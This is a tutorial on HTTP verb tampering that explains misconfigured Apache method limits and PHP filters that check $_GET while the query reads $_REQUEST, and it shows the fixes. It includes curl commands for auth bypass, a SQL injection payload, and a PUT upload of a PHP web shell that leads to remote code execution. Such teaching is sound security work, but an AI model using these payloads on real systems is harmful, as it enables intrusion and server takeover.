HTTP Verb Tampering exploits applications that restrict access controls to specific HTTP methods — like only enforcing auth on GET and POST. Swap the verb to something the app didn’t think to protect, and you often bypass the control entirely.

The HTTP Methods

VerbPurpose
GETRetrieve resource
POSTCreate / submit data
PUTReplace resource at specified path
DELETERemove resource
PATCHPartial modification
HEADSame as GET but response has no body
OPTIONSList allowed methods on this path
TRACEDiagnostic echo
CONNECTTunnel through a proxy

The attack surface comes from apps that only protect some of these.

Vulnerability Pattern 1 — Misconfigured Auth

Apache config that only requires auth on GET and POST:

<Limit GET POST>
    Require valid-user
</Limit>

This looks correct but has a gap. Any other verb — HEAD, PUT, DELETE, OPTIONS — is unauthenticated. If the backend treats HEAD as a lightweight GET (and most do), you can access protected pages without credentials.

Correct version:

<LimitExcept POST>
    Require valid-user
</LimitExcept>

LimitExcept restricts everything except POST (used for the login form itself). Everything else requires auth.

Vulnerability Pattern 2 — Inconsistent Parameter Handling

PHP example:

$pattern = "/^[A-Za-z\s]+$/";
 
if (preg_match($pattern, $_GET["code"])) {
    $query = "SELECT * FROM ports WHERE port_code LIKE '%" . $_REQUEST["code"] . "%'";
    // ...
}

The filter checks $_GET["code"] but the query uses $_REQUEST["code"]. $_REQUEST reads from GET, POST, and cookies. Send your SQLi payload as a POST parameter — the filter sees nothing in GET (so it passes), the query uses the POST value (so it’s injected).

Bypass: switch from ?code=... to a POST body code=<payload>.

Exploitation Workflow

Step 1 — Enumerate Allowed Methods with OPTIONS

curl -i -X OPTIONS http://target/

Response:

HTTP/1.1 200 OK
Allow: POST,OPTIONS,HEAD,GET

The Allow header tells you what the server accepts. Often you’ll see methods the app’s UI never uses.

Step 2 — Try Each Verb on the Protected Endpoint

Pick an endpoint that requires auth, then test:

curl -X HEAD http://target/admin/reset
curl -X POST http://target/admin/reset
curl -X PUT http://target/admin/reset
curl -X DELETE http://target/admin/reset
curl -X OPTIONS http://target/admin/reset

Watch for responses that succeed instead of returning 401.

Try every verb — not just the obvious ones

In one exam, HEAD was blocked but OPTIONS succeeded. Don’t assume HEAD is the magic answer; try all of them.

Step 3 — Use the Result

For bypassing basic auth — If HEAD returns 200 on a protected action endpoint, the action likely executed. This works best with idempotent operations (reset, delete, logout).

For bypassing security filters — If GET-based validation blocks your payload, resubmit the same payload as POST (or vice versa). The payload delivery changes; the vulnerability behind the filter doesn’t.

Real-World Scenarios

File Manager Reset

An app has a “Reset” button that requires basic auth via <Limit GET POST>. Testing:

curl -i -X OPTIONS http://target/
# Allow: POST,OPTIONS,HEAD,GET
 
curl -X HEAD http://target/reset.php
# 200 OK — reset executed without auth

SQLi Filter Bypass via Method Change

An app blocks SQLi payloads on GET parameters. Switch to POST:

POST /search.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
 
code=admin' OR 1=1-- -

If the filter only inspects $_GET, the payload runs unimpeded through $_REQUEST.

PUT to Overwrite Files

If PUT is allowed and unauthenticated:

curl -X PUT -d '<?php system($_GET["c"]); ?>' http://target/shell.php
curl http://target/shell.php?c=id

Instant RCE on badly configured web servers.

When It Works, When It Doesn’t

Works when:

  • Access control is applied at the web server level (Apache <Limit>, nginx limit_except) and misses some verbs
  • Filters check one specific superglobal ($_GET) but the app reads another ($_REQUEST)
  • The developer thought GET and POST were the only methods worth worrying about

Doesn’t work when:

  • Framework handles auth centrally (Rails, Django, Laravel) — all methods go through the same middleware
  • The app properly uses LimitExcept or equivalent
  • Input validation is on the parsed value, not the parameter source

Quick Detection

Good first-pass check on any auth’d endpoint:

# baseline
curl -i http://target/protected -u user:pass
 
# then without creds
curl -i -X GET http://target/protected
curl -i -X HEAD http://target/protected
curl -i -X OPTIONS http://target/protected
curl -i -X POST http://target/protected

If any returns 200 instead of 401, investigate that verb further.